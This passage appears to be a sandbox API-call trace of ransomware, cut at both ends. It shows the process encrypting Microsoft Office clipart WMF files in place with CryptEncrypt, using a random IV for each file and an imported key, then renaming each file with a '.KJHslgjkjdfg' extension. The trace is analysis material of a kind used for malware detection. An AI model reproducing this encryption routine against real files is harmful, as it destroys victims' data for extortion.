Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.593] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.593] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.594] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.594] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.594] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d18, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d18, lpOverlapped=0x0) returned 1 [0202.595] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d20) returned 1 [0202.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.595] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d20, lpOverlapped=0x0) returned 1 [0202.595] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.595] SetEndOfFile (hFile=0x130) returned 1 [0202.598] GetProcessHeap () returned 0x2ef0000 [0202.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.598] GetProcessHeap () returned 0x2ef0000 [0202.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.kjhslgjkjdfg")) returned 1 [0202.599] CloseHandle (hObject=0x130) returned 1 [0202.599] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0202.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.604] GetProcessHeap () returned 0x2ef0000 [0202.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.604] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.604] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.606] GetProcessHeap () returned 0x2ef0000 [0202.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.606] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.607] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.607] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.607] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.607] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b74, lpOverlapped=0x0) returned 1 [0202.608] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b80) returned 1 [0202.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.608] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b80, lpOverlapped=0x0) returned 1 [0202.608] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.608] SetEndOfFile (hFile=0x130) returned 1 [0202.610] GetProcessHeap () returned 0x2ef0000 [0202.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.610] GetProcessHeap () returned 0x2ef0000 [0202.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.kjhslgjkjdfg")) returned 1 [0202.612] CloseHandle (hObject=0x130) returned 1 [0202.612] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0202.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.613] GetProcessHeap () returned 0x2ef0000 [0202.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.613] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.616] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.616] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.616] GetProcessHeap () returned 0x2ef0000 [0202.616] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.616] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.616] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.616] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.616] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.616] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.616] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.616] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.616] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.617] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.617] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3198, lpOverlapped=0x0) returned 1 [0202.617] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31a0) returned 1 [0202.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.618] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31a0, lpOverlapped=0x0) returned 1 [0202.618] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.618] SetEndOfFile (hFile=0x130) returned 1 [0202.620] GetProcessHeap () returned 0x2ef0000 [0202.620] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.620] GetProcessHeap () returned 0x2ef0000 [0202.620] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.kjhslgjkjdfg")) returned 1 [0202.622] CloseHandle (hObject=0x130) returned 1 [0202.622] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0202.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.622] GetProcessHeap () returned 0x2ef0000 [0202.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.622] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.623] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.625] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.625] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.625] GetProcessHeap () returned 0x2ef0000 [0202.625] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.625] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.625] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.625] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.625] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.625] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.625] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.626] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.626] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.626] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.626] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16e8, lpOverlapped=0x0) returned 1 [0202.627] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f0) returned 1 [0202.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.627] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16f0, lpOverlapped=0x0) returned 1 [0202.627] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.627] SetEndOfFile (hFile=0x130) returned 1 [0202.629] GetProcessHeap () returned 0x2ef0000 [0202.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.630] GetProcessHeap () returned 0x2ef0000 [0202.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.630] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.kjhslgjkjdfg")) returned 1 [0202.631] CloseHandle (hObject=0x130) returned 1 [0202.631] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0202.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.631] GetProcessHeap () returned 0x2ef0000 [0202.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.634] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.634] GetProcessHeap () returned 0x2ef0000 [0202.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.634] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.634] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.634] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.634] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.634] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.634] 